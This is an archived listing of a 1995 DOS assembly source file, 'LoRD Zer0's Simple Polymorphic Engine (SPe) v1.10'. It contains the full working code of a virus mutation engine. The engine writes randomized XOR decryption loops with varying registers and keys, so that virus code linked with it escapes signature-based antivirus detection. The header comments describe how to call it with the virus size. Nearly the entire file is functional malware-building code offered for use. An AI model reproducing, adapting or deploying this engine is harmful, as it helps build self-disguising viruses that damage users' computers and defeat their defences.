home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / SPE.ZIP / SPE_V11.ZIP / SPE.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-03-06  |  4.8 KB  |  275 lines

  1. _Mov_reg    =    0b8h
  2. _xor_low    =    80h
  3. _xor_high    =    30h
  4. _inc        =    40h
  5. _dec        =    48h
  6. xor_bxsi    =    0
  7. xor_bxdi    =    1
  8. xor_bpsi    =    2
  9. xor_bpdi    =    3
  10. xor_si        =    4
  11. xor_di        =    5
  12. xor_word    =    6
  13. xor_bx        =    7
  14.  
  15. _ax    =    0
  16. _cx    =    1
  17. _dx    =    2
  18. _bx    =    3
  19. _sp    =    4
  20. _bp    =    5
  21. _si    =    6
  22. _di    =    7
  23.     .MoDEL TiNY
  24.     .RADiX 16
  25.     .CoDE
  26.     org    100
  27.     Public    Engine
  28. Start:
  29. ;
  30. ;    LoRD Zer0's Simple Polymorphic Engine (SPe) v1.10
  31. ;    (C) Copyright November, 1994.
  32. ;
  33. ; The Engine is 380 bytes big. You need to encrypt your own code. It's not
  34. ; made by the engine.
  35. ;
  36. ; Entry:
  37. ; SI = offset to place decrypt loop in the file.
  38. ; ES:DI = offset of where to put new decrypt rutine
  39. ; CX = Virus size except engine
  40. ;
  41. ; Return:
  42. ; CX = Size
  43. ; AL = Key
  44. ; DI = Pointer to buffer + CX
  45. ; DX = Total Size of Code to get Encrypted
  46. ; NOTE: Every register is DESTROYED!
  47. ;
  48. ; To creat:
  49.  
  50. Engine    proc    far
  51.     call    begin
  52. begin:    pop    bp
  53.     sub    bp,offset begin
  54.     push    cs
  55.     pop    ds
  56. not_sp:
  57.     call    rnd_get
  58.     and    al,7        ; 0-7
  59.     cmp    al,_sp        ; It may cause problem with the stack if I may
  60.     je    not_sp        ; Use SP.
  61.  
  62.     mov    [V_size+bp],cx
  63.     mov    [set_reg+bp],0
  64.     mov    [Counter+bp],al
  65.     cmp    al,_cx
  66.     jne    add_me
  67.     mov    [_cx_used+bp],ah
  68.     test    ah,1
  69.     jz    oki
  70. add_me:
  71.     inc    si
  72. oki:
  73.     call    rnd_get
  74.     test    al,1
  75.     jnz    not_reg        ; Put the counter Later
  76.     call    put_reg        ; Put it now.
  77. not_reg:
  78. new:
  79.     call    rnd_get
  80.     and    al,7        ;0-7
  81.     cmp    al,6        ;We don't want to use xor byte ptr [offset],??
  82.     je    new
  83.  
  84.     cmp    al,7        ; [BX]
  85.     je    _7
  86.     cmp    al,1        ; [BX+DI]
  87.     je    _1
  88.     cmp    al,2        ; [BP+SI]
  89.     je    _2
  90.     cmp    al,3        ; [BP+DI]
  91.     je    _3
  92.     cmp    al,4        ; [SI]
  93.     je    _4
  94.     cmp    al,5        ; [DI]
  95.     je    _5
  96. _0:
  97.     mov    dx,0603h    ;bx, si
  98.     xor    cl,cl        ;[bx+si]
  99.     jmp    double_xor
  100. _1:
  101.     mov    dx,0703h    ;bx, di
  102.     mov    cl,1        ;[bx+di]
  103.     jmp    double_xor
  104. _3:
  105.     mov    dx,0705h    ;bp, si
  106.     mov    cl,3        ;[bp+di]
  107.     jmp    double_xor
  108. _4:
  109.     mov    dx,0406h    ;num 4 si
  110.     jmp    single_xor
  111. _5:
  112.     mov    dx,0507h    ;num 5 di
  113.     jmp    single_xor
  114. _7:
  115.     mov    dx,0703h    ;num 7 bx
  116.     jmp    single_xor
  117. _2:
  118.     mov    dx,0605h    ;bp, si
  119.     mov    cl,2        ;[bp+si]
  120. double_xor:
  121.     cmp    [Counter+bp],dl    ; The reg is already in use as the Counter
  122.     je    new        ; Jump back and get a new pointer.
  123.     cmp    [Counter+bp],dh    ; The reg is already in use as the Counter
  124.     je    new        ; Jump back and get a new pointer.
  125.  
  126.     mov    al,_mov_reg    ; 0B8h    the begining of MOV REG,????
  127.     add    al,dl        ; 
  128.     stosb            ; Save it.
  129.     add    si,0f
  130. ; The offset Top of encrypted code
  131. ;     mov    ??,????h    ;3 bytes
  132. ;     mov    ??,????h    ;3 bytes
  133. ;     mov    ??,????h    ;3 bytes
  134. ; Xor_it:
  135. ;     xor    byte ptr [??+??],??    ;3 byte
  136. ;     inc    ??        ;1 byte
  137. ;    Loop    xor_it        ;2 bytes or
  138. ;     dec    ??        ;1 byte
  139. ;     jnz    xorit        ;2 bytes
  140. Split_it:
  141.     call    rnd_get        ; Get random number
  142.     xor    ah,ah        ; 0 - 255
  143. ;    cmp    ax,si        ; Dead code..
  144. ;    ja    Split_it    ; ----"------
  145. ; This rutine is used to Split the toec address
  146.  
  147.     sub    si,ax        ; Split
  148.     xchg    si,ax        ; get it in AX
  149.     stosw            ; Save the first value.            
  150.     mov    al,dh        ; Get next REG to use
  151.     add    al,_mov_reg
  152.     stosb            ; second reg to use. 
  153.     xchg    si,ax        ; Get it in AX
  154.     stosw            ; Save the second pointer
  155.     call    put_reg        ; Put Counter if we havn't done it already.
  156.     mov    ah,30        ; 30+CL = [??+??]
  157.     add    ah,cl
  158.     mov    al,80        ; 80 = XOR BYTE PTR
  159.                 ; xor byte ptr [bx+si]
  160.     stosw            ; Save
  161. new_num:
  162.     call    rnd_get
  163.     cmp    al,0
  164.     je    new_num        
  165. ; Used to get a encrypt Value..
  166.     mov    [key+bp],al    ; Save the key.
  167.     stosb
  168.     mov    cx,0Fh        ; decrypt code Size
  169.  
  170.     mov    al,_inc
  171.     test    ah,1
  172.     jnz    not_this
  173.     add    al,dl
  174.     jmp    _don
  175. not_this:
  176.     add    al,dh
  177. _don:
  178.     stosb
  179.     cmp    [Counter+bp],_cx
  180.     jne    easy
  181.     test    [_cx_used+bp],1        ; is cx used ?
  182.     jnz    easy
  183.     mov    ax,0FAE2h        ;Loop $-6
  184.     jmp    _done
  185. easy:
  186.     mov    al,_dec
  187.     add    al,[Counter+bp]
  188.     stosb
  189.     inc    cx            ; there is one byte more
  190.     mov    ax,0F975h        ;JNZ $-7
  191. _done:
  192.     stosw
  193.     mov    al,[key+bp]
  194.     mov    dx,[V_size+bp]
  195.     add    dx,Engine_size
  196.     retn
  197.     db    'SPe v1.10 by LoRD Zer0',0
  198. single_xor:
  199.     cmp    [Counter+bp],dl
  200.     jne    newa
  201.     jmp    new
  202. newa:
  203.     mov    al,_mov_reg
  204.     add    al,dl
  205.     stosb
  206.     add    si,0c
  207.     xchg    si,ax
  208.     stosw
  209.     call    put_reg
  210.     mov    ah,30
  211.     add    ah,dh
  212.     mov    al,80        ;xor byte ptr [di]
  213.     stosw
  214.     call    rnd_get
  215.     mov    [key+bp],al
  216.     stosb
  217.  
  218.     mov    cx,0c
  219.  
  220.     mov    al,_inc
  221.     add    al,dl
  222.     jmp    _don
  223. ; Put Counter reg.
  224. ; Entry: None
  225. ; Return: None
  226.  
  227. put_reg:
  228.     push    dx
  229.     push    cx
  230.     cmp    [set_reg+bp],0
  231.     jne    done_reg
  232.     call    rnd_get
  233.     xchg    dx,ax
  234.     mov    al,_mov_reg
  235.     add    al,[Counter+bp]
  236.     stosb
  237.     db    0B8h    ;MOV AX,
  238. V_size    dw    0    ;Main _virus Size
  239. ;    mov    ax,v_size
  240.  
  241.     add    ax,Engine_size
  242.     and    dh,2    ;dx 0 -1023
  243.     add    ax,dx
  244.     stosw
  245.     mov    [set_reg+bp],'0'
  246. done_reg:
  247.     pop    cx
  248.     pop    dx
  249.     retn
  250.  
  251. ; Get Random Number
  252. ; Entry: None
  253. ; Return: AX = Random number
  254.  
  255. rnd_get:
  256.     push    cx
  257.     push    dx
  258.     mov    ah,2c
  259.     int    21
  260.     in    al,40
  261.     xchg    ah,al
  262.     in    al,40
  263.     xor    ah,cl
  264.     xor    ax,dx
  265.     pop    dx
  266.     pop    cx
  267.     retn
  268. _cx_used    db    ?    ; Check if CX is used
  269. set_reg        db    ?    ; Have we already set Counter reg
  270. key        db    ?    ; Encrypt Key.
  271. Counter        db    ?    ; REG used as counter
  272. Engine_size    equ    $-offset start    ; The size
  273. Engine    endp
  274.     end    start
  275.